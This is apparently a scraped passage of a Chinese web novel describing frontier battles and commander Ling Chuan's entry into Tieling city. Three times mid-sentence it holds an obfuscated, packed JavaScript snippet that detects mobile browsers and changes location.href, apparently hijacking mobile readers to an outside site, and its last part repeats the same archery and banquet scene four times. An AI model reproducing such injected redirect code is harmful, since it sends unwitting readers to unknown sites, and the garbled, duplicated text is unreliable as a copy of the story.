“将军,你看,那是死字旗!”忽然,一名副将指着那面白色大旗,在火墙前方招展,似乎,那旗帜是在指引召唤火焰一般。 “死字旗,死字旗……”宋景瞳孔猛然一缩,惊呼道:“那是凌川的死字营!” 听到死字营三个字,所有人都感觉脑海中一声惊雷炸响。 宋景想不通,凌川哪来的底气去劫营,就靠他手下那一千五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958654|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百云岚军吗? 很快,他就发现了端倪,尽管很多胡羯兵在背对火墙逃跑,但数量上远没有上万人,这是怎么回事? 要知道,城外可是驻扎着整整三万胡羯大军啊,除去正在攻城的几千人外,少说也有两万多人,可现在看起来,不过才几千人,这怎么可能? 这得归结于几日前,韩青池退守铁鳞城的时候,将所有的斥候都收了回来,以至于,他们对关外的情况一无所知。 但凡留一支斥候队伍在关外,也不至于昨晚胡羯人撤走两万主力军,他们却浑然不知。 “宋将军,这是什么情况?”韩青池也闻讯赶来,看到城外的景象,也满脸震撼。 宋景将情况简单说了一下,韩青池闻言,连忙问道:“那接下来怎么办?” “来人,传我将令,打开城门,随我出城杀敌!”宋景直接下令。 然而,汪岐却立马站出来,阻止道:“将军不可!” “有何不可?”宋景问道。 “现在城外形势不明,依属下看,极有可能是圈套,就等着咱们打开城门呢,切不可上当啊将军!”汪岐语重心长地说道。 宋景一把抓住汪岐胸前的衣服,将他拉到自己面前,用冰冷的眼神盯着他,说道:“你觉得本将是瞎子还是傻子?” 汪岐没想到宋景竟会忽然翻脸,此时,他甚至能感受到对方眼神中的杀意。 “将军,我……” 汪岐还想解释,却被宋景冷声打断,“在敢多言一个字,我现在就砍了你!” 城外。 胡羯阵营彻底乱作一团,所有人的脸上都写满了慌乱与恐惧。 此时,那些正在攻打铁鳞城的数千胡羯士兵也发现了大营方向的情况。 一名千夫长大喊道:“周军袭营,赶紧回防!” 很快,胡羯士兵便停止了攻城,纷纷转身回防。 然而,就在此时,那即将破碎的城门忽然打开,宋景率领大批骑兵杀将而出,胡羯一方也没想到,周军竟然会在这个时候开城出击,顿时慌了神。 第142章 无路可逃! “随我杀上去,干掉这群贼子!宋景手持一杆**,身先士卒杀向前方。 身后大批骑兵紧随其后。 这几日,他们一直在被动承受对方的进攻,所有人的心里都憋了一肚子火,现在正是发泄到时候,一个个显得异常兴奋。 面对来势汹汹的周军,胡羯军虽然在第一时间列阵防御,可显然已经来不及。 宋景率领骑兵径直冲上来,当场将其阵型冲散,虽然胡羯军也有三四千人,但,经过这半日轮番攻城,所有人都已是疲惫不堪,面对生龙活虎的周军,立马就处于劣势。 一番惨烈厮杀,周军虽也有死伤,但始终能保持阵型不乱,再加上兵力上的优势,直接将敌军阵型冲得七零八落,很快便出现了溃逃现象。 溃逃这种事情,一旦有人带头,便会像瘟疫一般肆意蔓延,这也是为何战场之上会有督战队的原因。 大营方向,唐岿然的重甲兵如滚滚浪潮,一路碾压过来,数千辅兵被马蹄踩成肉泥。 终于,营帐之中那些胡羯军一路奔逃,无比狼狈地从辕门方向逃了出来。 然而,刚一冒头,便发现前方数十名周军一字排开,纷纷举起弓箭,将他们瞄准。 “放箭! 随着凌川一声令下,所有亲兵同时放箭,将逃在最前方的胡羯士兵射杀。 一轮又一轮的铁箭射出,几乎没有人能靠近他们一百步。 而与此同时,后方的重甲兵与两侧的轻骑也合围了上来,几番箭雨之后,这仅剩的一千余辅兵和一千多战兵便被射杀了大半,剩下的早已被吓得肝胆俱裂,各标人马抽刀上前,开始收割人头。 不到一炷香的时间,战斗彻底结束。 而就在此时,那些攻城的胡羯士兵也在宋景的追杀下,连爬带滚,朝着这边逃命。 凌川果断下令,各标再次列阵,用弓箭交替伺候。 成片的胡羯士兵在一百五十步之外倒下,很快,倒下的尸体便筑成了一堵墙。 后方,宋景带着大军追杀上来,这些胡羯军是前有强敌后有追兵,一向纵横沙场、所向披靡的他们,终于感受到了什么叫做绝望。 “围上去,一个都别放走!宋景一声大喝,身后大军呈两翼散开,将另外两面的退路也堵死,剩下这一千多胡羯军彻底成了瓮中之鳖,无路可逃的他们,注定被**。 随着漫天箭雨从四面八方飞射而来,被围在中间的胡羯军成片倒下。 满地尸体层层叠叠,鲜血汇聚成了‘小水洼 ’。 半个时辰之后,战斗彻底结束,宋景让人开始打扫战场,其中定然有躲在尸体下面装死的漏网之鱼,不过,这对于经验丰富的老兵来说,不过是雕虫小技,他们会率先用**对每一具尸体补上几枪,然后再靠近。 就在此时,宋景带着自己的亲兵营,朝着凌川这边而来。 “大人,那就是宋景!”寇悔凑到凌川身边小声说了一句,随即便退到队伍中间。 “下马!”凌川轻喝一声,所有人翻身下马。 他则是径直走上前去,对着宋景抱拳道:“云岚校尉凌川,见过将军!” 对于宋景,凌川是心存戒备的,毕竟,此前是他下令让自己改道鬼哭岭,可出关没多久便遇上了胡骑,凌川不相信这件事情跟他无关。 不过,对方是节度府钦点的主将,统率此次从云州抽调的一万兵马,包括自己在内。 尽管心有芥蒂,但在撕破脸之前,必要的礼节还是不可少的。 后方,各标长全神戒备,聂星寒更是紧握着手中的铁胎弓,一旦有异动,他将第一时间射杀宋景。 宋景原本因凌川延误军机,对他颇有怨气,可在接到鬼哭岭送来的情报之后,他的怒气便消了一半。 别的不说,换做其他队伍,面对两倍于自己的胡骑,多半直接就被吃得连渣都不剩了。 他倒好,竟然把对方杀得片甲不留,而且,鬼哭岭传来的情报上说,凌川的云州军只损失了几十个人。 就这份战功,便足以消掉宋景心中的所有怨气和怒火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958655|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 最主要的是,对方赶到铁鳞城外之后,还能用这一千多云岚军大破敌军,虽然最终是自己率军出城,将敌人全歼,但他心里很清楚,自己不过是锦上添花。 就算没有自己的帮助,凌川的云岚军也能将这几千疲军全部杀光。 距离凌川还有十多步,宋景便主动翻身下马,快步跑了过去。 “好小子,你这次可是立了大功了!” 凌川的大名,他在几个月前边听过,但**这还是第一次见到,没想到竟是一个面容清秀的少年。 宋景并没有兴师问罪,反而是表现得十分亲切,这让凌川有些诧异。 “都是将军指挥有方,属下不敢居功!”凌川不卑不亢地回答道。 此时宋景还沉浸在大获全胜的喜悦中,并没有注意到凌川话中的细节,拍了拍凌川的肩膀,笑道:“走,带着你的人进城吧!” 凌川神色微变,他不确定宋景是敌是友,若是进城,会不会有危险。 “启禀将军,我们在城外扎营即可!” 宋景似乎看出了凌川眼底的不信任,郑重说道:“我知道你在担心什么,但你大可放心,本将以人格担保,没有任何人会动你一根汗**,同样,我也会给你一个交代!” 听到这番话,凌川神色微微一变,他不由得怀疑,莫非那件事跟宋景无关? 见凌川依旧在犹豫,宋景继续说道:“如果你坚持不进城,我也不会强求,不过,我觉得你手下的兄弟们激战一天,需要休整!” 凌川也明白,他说的是事实,长途奔波加上连番激战,云岚军早已是人马俱疲,急需休整。 而且,很多人都受了伤,也急需处理伤势,进城无疑是最好的选择。 “云岚军听令,列队进城!”凌川直接下达了命令。 所有人列队跟了上去,而苍蝇则是找到卫敛,小声跟他说了几句,卫敛点了点头,随即便让副标秦放带着一百人赶往三十里外的红枫原。 一千六百多匹战马那可都是宝贝,必须去带回来。 第143章 凌川算个什么东西? 此时的铁鳞城千疮百孔城墙破败不堪城门也是摇摇欲坠 由此可见近几日胡羯大军的进攻有多凶猛。 凌川带着云岚军进入城中所过之处两旁站满了士兵有朔州军也有从云州各县调来支援的士兵。 所有人就这么静静地看着进城的云岚军眼神中带着羡慕与敬重。 羡慕的是云岚军身上那精良的铠甲敬重的是他们的辉煌战绩。 如果说昨日鬼哭岭外那一战仅限于传言的话那么刚才城外那一战却是所有人有目共睹。 一千五百云岚军一路所向披靡势如破竹竟然将数倍于他们的胡羯大军杀得丢盔弃甲狼狈逃窜。 要知道在以往这种情况往往是发生在周军身上可这一次形势完全调转了过来让很多对胡羯人心存忌惮的大周边军内心浮现出一个念头胡羯人并非不可战胜他们也不像传说中那么刀枪不入一样是肉体凡胎。 “他就是凌川凌校尉吗?似乎年纪比咱们还要小啊竟然当上了校尉!”一名朔州军中的士兵满脸崇拜地说道。 “现在是校尉等这一战结束至少也是都尉了!”另一人眼神中同样写满了钦佩回答道。 确实如此仅凌川这一战立下的军功直接升为都尉绰绰有余。 十六岁的都尉别说北系军恐怕放眼整个大周都是绝无仅有的存在。 “今日总算是见到这位北系军后起之秀的真容了本以为是五大三粗的彪形大汉不曾想竟生得如此俊秀要不是身披铠甲真以为是个书生!”一名满脸络腮胡的老卒笑道。 “你可别小看凌校尉长得白白净净战场上那可是万人敌的猛将死在他手上的胡羯将领有名有姓的都好几位了!”另一人说道。 “哎你们听说了没就在今日凌校尉只带了几个亲兵潜入胡羯中军大帐把胡羯主将狼蚀的脑袋割了下来挂在辕门上了!” “呵呵……”就在此时一名校尉冷笑一声揶揄道:“你们再吹下去他凌川就是战神下凡了以后打胡羯人他一个人去就行了哪儿用得着咱们啊!” 面对这名校尉的嘲讽几名老兵都没有接话就在这时一名士兵指向队伍只见凌川身后那名亲兵队长马鞍上挂着一颗滴血头颅。 “你们看那似乎就是狼蚀的人头!”一名士兵颤声说道。 众人顺着手指看去果然一颗系着鹰翎髻的人头挂在马鞍上随着战马前 行不断晃动。 那名校尉的脸色变得难看起来,但他还是继续嘴硬道:“狼蚀是何等身份?那可是纵横草原的猛将,他的头颅足够换一身将军甲,先不说他自身的恐怖战力,仅仅是身边的亲兵都是百里挑一的好手,岂会让人斩首?” 一名新兵见状,连忙出声附和道:“校尉大人说得对,依我看,那多半是随便找了颗人头冒充的!” 几名老卒无不是嗤之以鼻,虽然碍于其身份没有反驳,但只要不是新兵蛋子,都知道那颗人头到底是不是狼蚀,尽管他们都没见过狼蚀本尊,但那尊狼髑髅冠,可不是谁都有资格戴的。 胡羯的种族等级制度比中原更加森严,若是有人敢行此僭越之举,整个部落都得跟着掉脑袋。 无论在什么地方,都不乏溜须拍马之人,几名新兵见自家校尉对那凌川不爽,立马就抓住了讨好的机会。 “他凌川不过是运气好而已,长得跟个小白脸一样,能有什么本事?要是咱们吴校尉上,哪有他凌川什么事?”那名士兵更加卖力地拍着自家校尉的马屁。 “就是,他凌川算个什么东西!”另一名士兵接过话题:“我怀疑,凌川多半是朝中某位高官或是某位将军的私生子,否则,他一个狼烽口的边关小卒,怎么可能短短几个月便晋升校尉?” 见吴校尉面带笑意,一脸享受,那几名小兵拍得更加卖力。 忽然,一支铁箭横飞而来,刚才说话那名士兵还没反应过来,头盔直接被这一箭射落。 这一突变,让现场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958656|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人顿时一惊,那名小兵更是抱着脑袋直哆嗦。 吴校尉抬起头看向场中,只见凌川身后一名冷漠男子手持铁胎弓,一支铁箭搭在弦上,将他锁定。 “干什么?”吴校尉厉声喝道。 这边的动静,也惊动了前方同行的凌川与宋景二人。 两人相视一眼,调转马头走了过来,宋景厉声问道:“怎么回事?” “宋将军,他们无缘无故对我等放箭,险些伤着我的人!”吴校尉抢先对宋景抱拳行了一礼,说道。 宋景看了依旧拉满弓弦将对方瞄准的聂星寒一眼,随即移动目光看向凌川。 凌川自然不相信聂星寒会无缘无故放箭,伸手示意他收弓,问道:“怎么回事?” “大人,他们几个嚼舌根,出言诋毁你!”聂星寒沉声说道。 “放屁,我们什么都没说,更何况,相隔这么远,就算我说话,你能听得清楚吗?”吴校尉大声反驳,眼神中满是愤怒。 聂星寒的能力云岚军所有人都是心知肚明,他不仅箭术万中无一,目力和听力也是极其惊人,要不然,凌川为何评价他是天生的神射手呢。 宋景见状,不由得露出为难之色,毕竟这些并非他带来的云州军,而是韩青池麾下的朔州军。 就在这时,手臂上缠着纱布的韩青池在一众亲兵的簇拥下,朝着这边走来。 “怎么回事?”韩青池沉声问道。 “属下云岚校尉凌川,参见韩将军!”凌川主动见礼。 就品阶而言,身为朔州主将的韩青池可是从三品,比宋景都要高了整整两阶。 韩青池点头,抱拳笑道:“凌校尉今日的神勇,真是令本将惊为天人啊!” 凌川连忙回礼,“韩将军过奖了,在您跟宋将军面前,我凌川不过是一个新兵,还得多向你们请教!” 两人寒暄了几句,韩青池这才看了看剑拔**张的双方,问道:“这是,有什么误会?” 第144章 他说你箭术太差! “手下人刚下战场,一时间还没放松下来,差点伤着同袍,我一会亲自赔罪!”凌川笑了笑,说道。 他本不想把事情闹大,这毕竟是在人家的地盘,正所谓打狗还得看主人。 然而,那吴校尉却丝毫没有要揭过的意思,大声说道:“将军,凌川仗着自己有军功,竟然纵容手下当众射杀同袍,此等目无军纪之人,若不加以惩戒,他日必会犯上作乱!” 这番话,可谓是颠倒黑白、避重就轻,更是将一顶犯上作乱的大帽子扣在凌川头上。 韩青池并未阻止,而是饶有深意地看着凌川,似乎是想看看凌川如何解决。 凌川面带笑意,看着校尉吴楷,说道:“如果我没记错的话,我与这位兄弟素未谋面,不知你为何要诋毁我?” “你血口喷人,我们不过是在讨论其他事情,谁诋毁你了?你无端污蔑我,是觉得我好欺负,还是觉得朔州军好欺负?”说到后半句的时候,吴楷还刻意看了韩青池一眼,其意思不言而喻。 凌川神色平静,看不到半点怒意,这完全不像是一个十六岁的少年所该有的沉稳。 “你可能不知道,我这位兄弟的听力异常灵敏,三百步之内任何风吹草动,都逃不过他的耳朵!”凌川始终笑盈盈地看着吴楷。 听闻此言,吴楷几人眼底闪过一丝慌乱,但很快便恢复如常,因为,现场这么多人,马蹄声更是一片嘈杂,他们不相信有人能在一百多步外听清他们的话。 “你,你唬谁呢?真要有这等奇人,早就扬名立万了!”吴楷冷哼一声说道。 聂星寒见状,直接将几人刚才所说的话一字不漏地复述了一遍。 吴楷等人脸色剧变,连忙矢口否认:“放屁,这是诬陷,更何况这不过是他的片面之词!” 韩青池看向吴楷的队伍,问道:“刚刚你们可有人听见?” 之间几名老兵站了出来,对着韩青池和宋景行了一礼,说道:“启禀将军,刚刚这位兄弟所言丝毫不差,吴校尉几人确实是这么说的!” 吴楷:“……” 要是别人说,他还能反驳,偏偏这几名老兵是他的人。 霎时间,吴楷的脸色变得异常难看,恨不得将这几名老兵活剥,就连韩青池的脸色也逐渐阴沉下来,毕竟自己手下人闹出这种事,无疑是让他的脸无处搁。 吴楷见无法狡辩,只能转移话题,说道:“他们不过是随口说了几句,你便让人放箭,你这人心胸未免太狭隘了!” 凌川依旧是神色平静, 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 